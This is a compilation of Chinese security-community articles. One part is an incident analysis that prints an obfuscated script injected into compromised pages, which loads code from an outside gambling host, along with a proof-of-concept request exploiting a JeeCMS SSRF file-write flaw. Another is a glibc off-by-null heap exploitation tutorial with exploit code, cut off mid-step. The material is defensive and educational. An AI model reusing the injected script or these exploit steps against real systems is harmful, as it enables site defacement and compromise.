蜜罐去捕获针对物联网环境的恶意软件，并通过一些安全分析技巧去分析恶意软件并发现高级恶意软件威胁。本议题主要分享如何去挖掘物联网环境中的高级恶意软件威胁，并分享一些案例，让大家了解并加入到物联网安全研究中来。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/25%E6%97%A5/%E5%A6%82%E4%BD%95%E5%8E%BB%E6%8C%96%E6%8E%98%E7%89%A9%E8%81%94%E7%BD%91%E7%8E%AF%E5%A2%83%E4%B8%AD%E7%9A%84%E9%AB%98%E7%BA%A7%E6%81%B6%E6%84%8F%E8%BD%AF%E4%BB%B6%E5%A8%81%E8%83%81-%E5%8F%B6%E6%A0%B9%E6%B7%B1.pdf
"【PPT下载】")
* * *
## 智能语音设备安全研究
**演讲者：**
王启泽，启明星辰 ADLab 实验室高级安全研究员，拥有多年的产品运营及开发经验，专注于操作系统内核安全及 IoT 安全。
**议题介绍：**
语音是人类沟通最自然的方式，随着 AI 技术的发展，未来越来越多的智能设备采用语音作为人机交互方式。
演讲者通过对多款智能语音设备（智能音箱、智能电视、智能手机）在通信安全、代码安全、语音算法安全等多个维度进行研究，并通过远程窃听、远程语音控制、远程设备控制等攻击实例，希望能引起业内对语音设备安全有足够的重视和防护改进。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/25%E6%97%A5/%E6%99%BA%E8%83%BD%E8%AF%AD%E9%9F%B3%E8%AE%BE%E5%A4%87%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6.pdf
"【PPT下载】")
* * *
## 互联网上暴露的物联网资产变化研究
**演讲者：**
桑鸿庆，绿盟科技格物实验室物联网安全研究员，专注于对互联网上暴露的物联网资产态势、脆弱性及安全防护的研究。曾参与绿盟科技《2017年物联网安全年报》、《2018物联网安全年报》的编写。
**议题介绍：**
一些网络空间搜索引擎声称暴露在互联网上的各类物联网设备高达数千万计，然而我们发现由于运营商对互联网 IPv4
地址动态分配的策略，国内有相当数量的物联网设备的网络地址处于频繁变化的状态，导致真实暴露的物联网设备数量不及网络空间搜索引擎宣传的四分之一，甚至更少。掌握真实的资产情报，能更精确地跟踪来自物联网的威胁。本议题主要介绍互联网暴露物联网资产的地址变化情况，通过对历史的暴露数据进行对比分析，分析资产变化的原因，并探讨在互联网场景中威胁溯源的一些思路。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/25%E6%97%A5/%E7%89%A9%E8%81%94%E7%BD%91%E8%B5%84%E4%BA%A7%E5%8F%98%E5%8C%96%E7%A0%94%E7%A9%B6.pdf
"【PPT下载】")
* * *
## 针对Docker容器网络的ARP欺骗与中间人攻击
**演讲者：**
王凯（ Kame Wang），腾讯安全湛泸实验室高级研究员，中国科学院大学信息安全博士。研究兴趣包括：云安全、移动安全、区块链、自动化漏洞挖掘。
**议题介绍：**
Docker 技术是一种在同一操作系统上部署相互隔离的进程执行环境的容器技术。Docker
容器的网络通信能力是基于操作系统提供的虚拟化网桥功能实现的。同一宿主设备上的不同 Docker 实例可连接到同一虚拟化网桥上，从而组成虚拟化局域网。目前
Docker 使用的虚拟化网桥技术并没有实现有效的防护措施，以防止恶意 Docker 实例对整个 Docker 容器网络进行 ARP
欺骗与中间人攻击。本报告将从以下几个方面对于此类攻击进行研究、阐述：
1、通过搭建本地测试环境，研究针对 Docker 容器网络开展相应攻击的实现方法和成功条件，并着重对比其与传统局域网中实现类似攻击的不同之处；
2、针对国内外知名公有云平台上以 Docker 技术为基础的真实服务，测试其是否存在相应攻击风险，并总结不同平台的防范措施；
3、针对我们发现的、真实存在的国内某知名公有云平台上的安全问题，展示如何验证，并进一步证明攻击的危害性；
4、列举 Docker 容器网络还可能面临的安全威胁，分析其对于公有云平台上的所部属服务带来的危害，并提出解决思路。
[【PPT下载】](https://github.com/knownsec/KCon/blob/master/2019/25%E6%97%A5/%E9%92%88%E5%AF%B9Docker%E5%AE%B9%E5%99%A8%E7%BD%91%E7%BB%9C%E7%9A%84ARP%E6%AC%BA%E9%AA%97%E4%B8%8E%E4%B8%AD%E9%97%B4%E4%BA%BA%E6%94%BB%E5%87%BB.pdf
"【PPT下载】")
* * * | 社区文章 |
# 背景概述
近日深信服安全感知平台发现客户服务器中的文件被篡改，植入博彩页面。经深信服安全团队排查，发现大量网页文件被篡改，且被篡改的时间非常密集，如下图所示在2019年3月26日
16:46左右网站目录下产生大量恶意文件。
# 入侵分析
排查篡改目录下最早被篡改的文件，创建时间为2019年3月14日13:53。
排查被篡改的网站文件，均在头部位置发现了恶意代码，如下图所示：
恶意代码内容如下：
<script>var
_0x150a=["\x3C\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x61\x74\x61\x70\x69\x38\x38\x38\x2E\x63\x6F\x6D\x2F\x67\x6C\x6F\x62\x61\x6C\x2F\x73\x74\x61\x74\x69\x63\x2F\x6A\x73\x2F\x74\x2E\x70\x68\x70\x27\x3E\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E","\x77\x72\x69\x74\x65"];document[_0x150a[1]](_0x150a[0]);</script>
经hex转换解码后发现是一段恶意js脚本，即通过document.write写入恶意链接<http://atapi888.com/global/static/js/t.php，js内容如下图所示：>
通过浏览器访问<http://atapi888.com/global/static/js/t.php后，发现返回内容同样为编码后的内容，如下图所示：>
查看源码，发现此处还有一个博彩流量统计网站<http://count.51yes.com/。>
将以上编码的内容hex转换解码后得到如下图所示网址，即通过windows.location.href打开新窗口<https://www.1851147.com。>
访问<https://www.1851147.com页面，发现是博彩站。>
查杀网站中的webshell后门，没有发现任何webshell网页木马，如下图所示：
根据黑链写入的时间点，排查web日志，发现异常POST请求的时间和文件被篡改的时间点均一致，由此可以得知漏洞必然出在/ueditor/getRemoteImage.jspx接口中。
# 漏洞分析
从web日志中可以发现在某个固定时间点，攻击者发送了大量POST数据包，目标的URL为：<http://域名/ueditor/getRemoteImage.jspx，排除了webshell后门存在的可能性，也就说getRemoteImage.jspx该接口必定存在漏洞。源码中寻找getRemoteImage.jspx文件，服务器上未发现该文件了。尝试用内容匹配的方式去寻找存在问题的class组件。这里使用everything的content文件内容匹配功能查找相关接口EeditorAct.class，具体方法如下图所示：>
对UeditorAct.class文件进行反编译，分析/ueditor/getRemoteImage.jspx接口，该接口的主要功能是读取远程服务器上的资源并且未对资源的类型或者后缀进行判断并直接将其写入到/u/cms/www/目录下。此处同样存在SSRF漏洞，也就是说通过该接口可以探测内网、访问公网，又由于此处存在了任意文件写入才导致了黑页的写入。
# 漏洞危害
远程攻击者可借助upfile参数利用服务器端请求伪造漏洞漏洞获取敏感信息，攻击内部网络主机或写入恶意文件。
漏洞复现
测试机器IP：192.168.231.133 安装jeecms v7版本
模拟远程主机IP：192.168.231.134
本地安装jeecms
v7版本，运行环境需要JDK5+TOMCAT5.5+MYSQL5及以上版本，为了复现远程文件读取并达到预期的效果，在远程主机192.168.231.134根目录下写入测试文件test.html。抓取访问数据包，并将其转化为上传格式，数据包转换地址：<http://ld8.me/multipart.php>
转换之后服务器端发送的数据包如下：
POST /ueditor/getRemoteImage.jspx HTTP/1.1
Host: 192.168.231.133:8080
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2188.2 Safari/537.36
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundaryYJmKM8kHUlKMIlvC
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=A8872FC0A3E148E7A262F1A3D31B8FF9; _site_id_cookie=1; clientlanguage=zh_CN
----------WebKitFormBoundaryYJmKM8kHUlKMIlvC
Content-Disposition: form-data; name="upfile"
http://192.168.231.134/test.html
----------WebKitFormBoundaryYJmKM8kHUlKMIlvC--
由于代码端上传的时候直接是用参数upfile，为了方便构造数据包也可以直接构造一个表单来完成此次的操作。表单构造内容如下图所示：
<form action="http://192.168.231.133:8080/ueditor/getRemoteImage.jspx" method="post" enctype="multipart/form-data">
<input name="upfile" value="ue_separate_ue">
<input type="submit">
</form>
表单提交操作如下：
模拟植入博彩页面效果
通过burpsiut重放数据包，201904目录下生成09124849fdab.html，成功抓取192.168.231.134上的test.html文件。
模拟批量植入博彩页面效果
设置fiddler中的replay的request值为20，点击replay批量发包，短时间内植入20个恶意HTML页面，可以发现在201904目录下同一时刻内生成大量的恶意html页面。
# 防御方案
1、通过深信服下一代防火墙暂时限制对/ueditor/getRemoteImage.jspx接口的访问。
2、升级JeeCMS到最新版本。
参考链接
<https://cxsecurity.com/issue/WLB-2018040057>
<https://www.cnblogs.com/rebeyond/p/5141226.html> | 社区文章 |
## 0x00 前言
嵌入式产品Hacking 一直都是备受关注的议题. 而越来越多的攻击者也瞄上了物联网嵌入式设备. 跟以往纯软件安全研究不同的是,
这类研究往往需要结合相应的硬件知识和设备. 汪汪将在这篇文章中分享针对I2C协议的实战案例和相应的工具使用. 希望可以借此小文让大家快速入门,
一起来Hacking all the Things.
# 0x01 I2C协议基础
凡是接触过嵌入式系统的朋友, 对I2C协议一定不会陌生. 其与UART, SPI和JTAG等并列为最常见调试协议. I2C 全称为Inter-Integrated Circuit. 是由飞利浦公司设计的一种多主从架构的串口通讯协议.
I2C协议非常简单, 仅有Clock 和 Data 两条数据总线, 外加 Ground. 通常是1个主设备和多个从设备的架构.
在通讯速度上分别为100khz, 400khz, 1Mhz, 3.2Mhz. 在运用方面对速度没有高要求的, 都可以使用I2C进行通讯.
比如PC风扇的温度和电池的电压数据采集等. 每个I2C设备都各有一个读和写地址, 只有知道了这个读写地址才能跟其通讯.
除此之外许多用来存储系统配置和参数的EEPROM芯片自身也支持I2C协议. 比如IBM Thinkpad 系列用来存储BIOS 密码的EEPROM,
就是通过I2C协议在MCU与EEPROM 之间进行交互.
# 0x02 神器BusPirate
工欲善其事必先利其器. 拥有一款神器对嵌入式设备Hacking将起到事半功倍的作用. BusPirate 是由Dangerous prototypes
设计出品的一款硬件hacking 瑞士军刀. 支持多项常见协议并可跨平台Windows/Linux/MAC. 并拥有丰富的帮助文档.
BusPirate可以Sniffing 和读写 I2C等协议, 同时还可对AVR 等芯片进行编程操作. 在操作上也是非常简单, 只需用minicom
以115200 波特率跟BusPirate连接便可.
BusPirate支持协议如下:
BusPirate 接口连接示意图:
BusPirate 命令列表:
# 0x03 攻击案例 -- 数字密码锁
接下来我们来看一个通过分析I2C 协议, 从而破解门锁密码的实战案例. 我们的目标是这款 型号为YL99 的数字密码锁.
这款密码锁完全依赖于用户设置的数字密码. 也许对某些人来说不需要带一堆钥匙的确方便了很多.
因为YL99 是完全电子化的的门锁. 所以提供了普通机械锁没有的功能. 比如YL99 拥有多 个功能不同的账户. Master 账户:
可用于设置管理用户密码(默认0123#). 普通账户: 用于存储普通用户密码. YL99 同时还提供了贴心的防密码泄漏功能. 操作方法: 键入起始码(0)
+ 跟随用于掩盖的任意几位数字+ 跟随正确密码 + # (确认结束). 通过这样的方式就算边上有人, 也不怕被看到正确密码了.
但是千里之堤, 溃于蚁穴. YL99 的设计缺陷, 竟能让人从外部将锁的键盘部分分离, 从而访问到内部PCB 主板. 而玩过硬件Hacking
的朋友都知道, 被人轻易访问到内部PCB 主板部分是大忌.
在YL99被打开后主板结构便展现眼前. 除了YL99 使用的元器件外, 我们还可以清晰看到主板上还标有一个Reset 复位触点.
那么这个时候我们便可以通过短接复位触点和Ground 的方式将密码恢复到出厂设置. 从而得到bypass 的目的. 但这方法的短处也非常明显,
在bypass 的时候每次都需要卸螺丝. 而且如果恢复到出厂值, 很容易就被人发现了.
演示视频如下: <https://www.youtube.com/watch?v=4sqDXkUQbqM>
不过好戏才刚开始. 我们在主板上还发现了YL99使用的MCU em78p156e 和用来存储密码信息的EEPROM 24C02. 通过阅读24C02
的datasheet 我们得知其使用I2C 协议和MCU 通讯.同时datasheet 也清晰的标出了芯片管脚的用途, 比如I2C 使用的SCL(时钟频率)
和SDA(数据总线).
终于我们的神器BusPirate要派上用场了. 我们首先用数据线将24C02的I2C 管脚和BusPirate的对应接口连接起来.
随后通过minicom 或其他serial tools 进入Buspirate的I2C调试模式.
在I2C 的调试模式中, 有个非常有用的功能I2C sniffer. 通过它我们可以监控I2C 的数据. 用过WIRESHARK 的朋友一定不会陌生.
开启了I2C Sniffer 模式后, 我们便可开始观察MCU 和 EEPROM之间的密码交互. 比如YL99 的密码输入过程为起始码(0) + 正确密码
+ 结束确认(#).
通过观察发现在按下结束确认(#) 后, MCU 便向24C02 发送密码验证请求. 但随后致命的设计错误出现. EPPROM 24C02
将正确的密码以明文的方式发回给MCU 以求完成密码验证过程. 而这过程我们通过BusPirate 的I2C sniffer一览无遗。
如图: 因为使用的little endian 所以密码 123 和456 会反着显示
# 0X04 总结
通过本文的介绍和实践案例, 相信大家对I2C 协议和利用方式有了一定的了解. 剑走偏锋, 反其道行之. 攻击者往往将系统的短板作为攻击点.
倘若某款嵌入式系统的设计者仅仅考虑到软件层面的安全, 而攻击者又能得到物理访问的话, 那些防御方式便形同虚设.
同时嵌入式产品往往面临上市后便难以升级的困难, 一旦攻击方式曝光由此给产品带来的损失是巨大的. 因此安全产品在设计之初即应将安全考虑进去.
# 0x05 参考文献
<https://learn.sparkfun.com/tutorials/i2c>
<http://dangerousprototypes.com/docs/Bus_Pirate>
<https://code.google.com/archive/p/the-bus-pirate/>
<http://dangerousprototypes.com/blog/bus-pirate-manual/i2c-guide/>
<http://arduino.ada-language.com/recovering-ibm-thinkpad-t42-bios-password-with-avr-ada-and-arduino.html> | 社区文章 |
2016走了，2017来了。
小目标实现了吗？
心仪的妹子表白了吗？
年终奖多少了？
白帽子们，与其错过无数个小目标不如先实现这一个！来先知提交一个漏洞吧！
如果你 1、至今没有在先知提交过漏洞，默默地充当“僵尸粉”， 2、提交了漏洞，没有通过审核 3、都没有入驻过先知平台
那么你就是这个年末，先知重点关怀的对象！ 对于新加入先知，新提交漏洞的白帽子 先知不仅准备了双旦和过年礼物，还给你准备“压岁钱”
部分福利拿出来遛一遛！
西部世界风格的笔记本！（里面藏有道哥的亲笔寄语！）
高大上的原木优盘！
世界第一款黑客造型的限量淘公仔！（收到实物有彩蛋）
炫酷淘气卫衣！
礼物 要这么拿
新人专属福利 在12.19-2.20期间 之前没有在先知提交过通过审核漏洞的白帽（提交过漏洞，但是漏洞没有通过审核也在此范围） 提交一个或更多通过审核的漏洞
送先知特别定制大礼包一套笔记本 + U盘 + 淘公仔！
TOP10白帽子福利 截止1月15日，平台TOP10白帽子送特别定制礼包+卫衣
奖品发放 提交漏洞的白帽子请在先知后台填写收货地址，并在收件人信息后，备注卫衣尺码。如：小明（M码）
统计后，我们会分两波发放奖品在1.15日前提交漏洞，会在1.18日左右发出。第二波会在2.20左右发出 快来交漏洞快来交漏洞吧！
注：不要以为我们忘了先知的铁杆粉丝，12.19 - 2.20期间提交漏洞的老用户，也有笔记本 + 淘公仔送到！（活动最终解释权归先知所有） | 社区文章 |
# Off by Null的前世今生
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 写在前面
本文从`2.23`、`2.27`、`2.29`三个角度并结合实例阐述了`Off by Null`的利用方式。
## 0x02 Off-by-null 漏洞
顾名思义，这种漏洞是溢出一个空字节，这比`Off-by-one`漏洞的利用条件更为苛刻。
在`Off-by-one`漏洞中，我们通常是用它来构造`Heap Overlap`或是用来触发`unlink`。
这两种利用思路都需要先对堆块合并有了解。
### 向前合并与向后合并
#### 向前合并
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
若有一个`Chunk`(下称`P`)将被`free`，那么`Glibc`首先通过`P + P -> size`取出其 **物理相邻**
的后一个`Chunk`(下称`BK`)，紧接着通过`BK + BK -> size`取出与`BK`块 **物理相邻**
的后一个`Chunk`并首先检查其`prev_inuse`位，若此位为清除状态则证明`BK`为`freed`状态，若是，则进入下一步检查。
* 此时若证明`BK`是`allocated`状态，则将`BK`的`prev_inuse`位清除，然后直接执行`free`后返回。
接下来检查`BK`是不是`Top chunk`，若不是，将进入向前合并的流程。
* 此时若证明`BK`是`Top chunk`则将其和`P`进行合并。
向后合并流程如下：
* 让`BK`进入`unlink`函数
* 修改`P -> size`为`P -> size + BK -> size`(以此来表示size大小上已经合并)
#### 向后合并
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
首先检查`P`的`prev_inuse`位是否为清除状态，若是，则进入向后合并的流程：
* 首先通过`P - P -> prev_size`取出其 **物理相邻** 的前一个`Chunk`(下称`FD`)，
* 修改`P -> size`为`P -> size + FD -> size`(以此来表示size大小上已经合并)
* 让`FD`进入`unlink`函数
### 构造`Heap Overlap`
我们在这里给出构造`Heap Overlap`的三种常见方式。
1. 通过`Off by One`漏洞来修改`Chunk`的`size`域涉及到`Glibc`堆管理机制中空间复用的相关知识，此处不再赘述。
2. 若内存中有如下布局(`Chunk B`、`Chunk C`均为`allocated`状态)：
+++++++++++++++++++++++++++++++++++++++++++
| Chunk A | Chunk B | Chunk C |
+++++++++++++++++++++++++++++++++++++++++++
我们在`Chunk A`处触发`Off-by-one`漏洞，将`Chunk B`的`size`域篡改为`Chunk B + Chunk
C`的大小，然后释放`Chunk B`，再次取回，我们此时就可以对`Chunk C`的内容进行任意读写了。
⚠️：篡改`Chunk B`的`size`域时，仍要保持`prev_issue`位为`1`，以免触发堆块合并。
⚠️：篡改`Chunk B`的`size`域时，需要保证将`Chunk C`完全包含，否则将无法通过以下所述的验证。
// /glibc/glibc-2.23/source/malloc/malloc.c#L3985
/* Or whether the block is actually not marked used. */
if (__glibc_unlikely (!prev_inuse(nextchunk)))
{
errstr = "double free or corruption (!prev)";
goto errout;
}
3. 若内存中有如下布局(`Chunk B`为`freed`状态、`Chunk C`为`allocated`状态)：
+++++++++++++++++++++++++++++++++++++++++++
| Chunk A | Chunk B | Chunk C |
+++++++++++++++++++++++++++++++++++++++++++
我们在`Chunk A`处触发`Off-by-one`漏洞，将`Chunk B`的`size`域篡改为`Chunk B + Chunk
C`的大小，然后取回`Chunk B`，我们此时就可以对`Chunk C`的内容进行任意读写了。
⚠️：篡改`Chunk B`的`size`域时，仍要保持`prev_issue`位为`1`，以免触发堆块合并。
⚠️：篡改`Chunk B`的`size`域时，需要保证将`Chunk C`完全包含，否则将无法通过验证。
4. 接下来是一种比较困难的构造方式，首先需要内存中是以下布局：
+++++++++++++++++++++++++++++++++++++++++++
| Chunk A | Chunk B | Chunk C |
+++++++++++++++++++++++++++++++++++++++++++
**其中要求，`Chunk A`的`prev_inuse`位置位，此时的三个`Chunk`均为`allocated`状态。**
我们申请时，要保证`Chunk C`的`size`域一定要是`0x100`的整倍数，那么我们首先释放`Chunk A`，再通过`Chunk
B`触发`Off-by-null`，此时`Chunk C`的`prev_inuse`位被清除，同时构造`prev_size`为`Chunk A ->
size + Chunk B -> size`，然后释放`Chunk_C`，此时因为`Chunk
C`的`prev_inuse`位被清除，这会导致向后合并的发生，从而产生一个大小为`Chunk A`，`Chunk B`，`Chunk
C`之和的`chunk`，再次取回后即可伪造`Chunk B`的结构。
#### Glibc 2.27 利用思路
### 触发`Unlink`
首先我们先来介绍一下`unlink`漏洞的发展过程。
#### In Glibc 2.3.2(or < Glibc 2.3.2)
首先，我们利用的重点是unlink函数(为了代码高亮，删除了结尾的换行符)
// In /glibc/glibc-2.3.2/source/malloc/malloc.c
/* Take a chunk off a bin list */
void unlink(P, BK, FD) {
FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}
可以发现，在远古版本的GLibc中，`Unlink`函数没有任何防护，直接就是简单的执行脱链操作，那么，一旦我们能控制`P`的`fd`域为`Fake_value`，`bk`域为`Addr
- 3 * Size_t`，那么在那之后执行`BK->fd = FD`时将会实际执行`(Addr - 3 * Size_t) + 3 * Size_t =
Fake_value`进而完成任意地址写。
#### In Glibc 2.23（Ubuntu 16.04）
// /glibc/glibc-2.23/source/malloc/malloc.c#L1414
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
在`Glibc 2.23`中，加入了两个检查，一个是在执行实际脱链操作前的链表完整性检查。
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
这里就是就是检查`(P -> fd) -> bk == P == (P -> bk) ->
fd`，若我们能得到`P`的地址位置，如假设`P`的地址存储在`BSS`段中的`Chunk_addr`处，那么我们篡改`P ->
fd`为`Chunk_addr - 4 * Size_t`，`P -> bk`为`Chunk_addr - 3 *
Size_t`。那么在进行检查时将会产生怎样的效果呢：
Chunk_addr - 4 * Size_t + 4 * Size_t == Chunk_addr == Chunk_addr - 3 * Size_t + 3 * Size_t
显然成立！
那么这样改会产生怎样的攻击效果呢？我们继续看，在执行实际脱链操作后：
Chunk_addr - 4 * Size_t + 4 * Size_t = Chunk_addr - 3 * Size_t (实际未生效)
Chunk_addr - 3 * Size_t + 3 * Size_t = Chunk_addr - 4 * Size_t
也就是`Chunk_addr = Chunk_addr - 4 *
Size_t`，若还有其他的`Chunk`地址在`Chunk_addr`周围，我们就可以直接攻击对应项，如果程序存在读写`Chunk`的函数且没有额外的`Chunk`结构验证，我们就可以进行任意地址读写了。
### Glibc 2.27(Ubuntu 18.04)的新变化
#### 合并操作变化
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
/* consolidate forward */
if (!nextinuse) {
unlink(av, nextchunk, bck, fwd);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
可以发现，就合并操作而言，并没有什么新的保护措施。
#### `Unlink`内部变化
// In /glibc/glibc-2.27/source/malloc/malloc.c#L1404
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
和`GLIBC 2.23`相比，最明显的是增加了关于`prev_size`的检查：
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
这一项会检查即将脱链的`chunk`的`size`域是否与他下一个`Chunk`的`prev_size`域相等，这一项检查事实上对向后合并的利用没有造成过多的阻碍，我们只需要提前将`chunk
0`进行一次释放即可：
1. 现在有 Chunk_0、Chunk_1、Chunk_2、Chunk_3。
2. 释放 Chunk_0 ，此时将会在 Chunk_1 的 prev_size 域留下 Chunk_0 的大小
3. 在 Chunk_1 处触发Off-by-null，篡改 Chunk_2 的 prev_size 域以及 prev_inuse位
4. Glibc 通过 Chunk_2 的 prev_size 域找到空闲的 Chunk_0
5. 将 Chunk_0 进行 Unlink 操作，通过 Chunk_0 的 size 域找到 nextchunk 就是 Chunk_1 ，检查 Chunk_0 的 size 与 Chunk_1 的 prev_size 是否相等。
6. 由于第二步中已经在 Chunk_1 的 prev_size 域留下了 Chunk_0 的大小，因此，检查通过。
### Glibc 2.29(Ubuntu 19.04)的新变化
⚠️：由于`Ubuntu 19.04`是非LTS(Long Term
Support，长期支持)版本，因此其软件源已经失效，因此若需要继续使用，需要把`apt`源修改为 **`18.04`的软件源**，两个版本相互兼容。
#### 合并操作变化
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
unlink_chunk (av, p);
}
/* consolidate forward */
if (!nextinuse) {
unlink_chunk (av, nextchunk);
size += nextsize;
} else
clear_inuse_bit_at_offset(nextchunk, 0);
可以发现，合并操作增加了新保护:
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
这里注意，这和上文所述的`(chunksize(P) != prev_size (next_chunk(P))`是有本质区别的，这里的情况是：
1. 检查 prev_inuse 位是否置位，来决定是否触发向后合并。
2. 若触发，取出本 chunk 的 prev_size ，并根据 prev_size 找到要进行 unlink 的 chunk 。
3. 检查要进行 unlink 的 chunk 的 size 域是否与取出的 prev_size 相等。
#### `Unlink`内部变化
// In /glibc/glibc-2.29/source/malloc/malloc.c#L1460
/* Take a chunk off a bin list. */
static void unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
和`GLIBC 2.27`相比，最明显的其实是整个宏定义被变更成了函数，其中的保护并没有发生更多的改变。
那么，事实上，真正对我们的利用产生阻碍的是之前合并操作变化，如果我们要继续完成利用，我们就需要修改 fake chunk 的 size
域，然而我们现在只有`Off-by-null`的利用条件是无法进行修改的，那么我们要利用就需要进行较为巧妙的堆布局构造，具体构造方式请查看例题。
## 0x03 以 2020 GKCTF Domo 为例
### 题目信息
保护全开，64位程序
### 漏洞分析
创建`Chunk`时存在一个`off-by-null`漏洞
⚠️：注意，此处是恒定存在一个空字节溢出，并不是在我们的输入后面加一个空字节！
### 漏洞利用
#### 泄露有用信息
首先需要泄露一些有用的地址值，例如`Libc`、`Heap Addr`等
creat(sh,0x100,'Chunk0')
creat(sh,0x100,'Chunk1')
creat(sh,0x40,'Chunk2')
creat(sh,0x40,'Chunk3')
creat(sh,0x100,'Chunk4')
delete(sh,0)
creat(sh,0x100,'Libc--->')
show(sh,0)
libc.address = get_address(sh=sh,info='LIBC ADDRESS IS ',start_string='Libc--->',end_string='x0A',offset=-0x3C4B78)
delete(sh,3)
delete(sh,2)
creat(sh,0x40,'H')
show(sh,2)
heap_address = get_address(sh=sh,info='HEAP ADDRESS IS ',start_string='n',address_len=6,offset=-0x1238)
⚠️：注意，由于恒定存在一个空字节溢出，会导致我们泄露结束后导致某些`Chunk`的`size`域损坏！
#### 构造`Heap Overlap`
这里我们首先申请三个Chunk：
creat(sh,0x100,'Chunk5')
creat(sh,0x68,'Chunk6')
creat(sh,0xF8,'Chunk7')
creat(sh,0x100,'Chunk8') # 用于防止最后一个Chunk被Top Chunk吞并
依次释放掉`chunk 5`和`chunk 6`，然后重新申请一个`chunk 6`，触发`Off-by-null`，清除`Chunk
7`的`prev_inuse`位，同时伪造`chunk 7`的`prev_size`为`0x100+0x10+0x68+0x8`，最后释放`chunk
7`。
delete(sh,5)
delete(sh,6)
creat(sh,0x68,'A'*0x60 + p64(0x70+0x110))
delete(sh,7)
creat(sh,0x270,'A') # Fake
#### Fastbin Attack & 劫持 vtable
接下来我们可以进行`Fastbin Attack`了，在这里我们决定使用篡改`_IO_2_1_stdin_`的`vtable`表的方式来完成利用
**⚠️：这里遇到了一个小坑，特此记录下，我们如果要使用`Fastbin
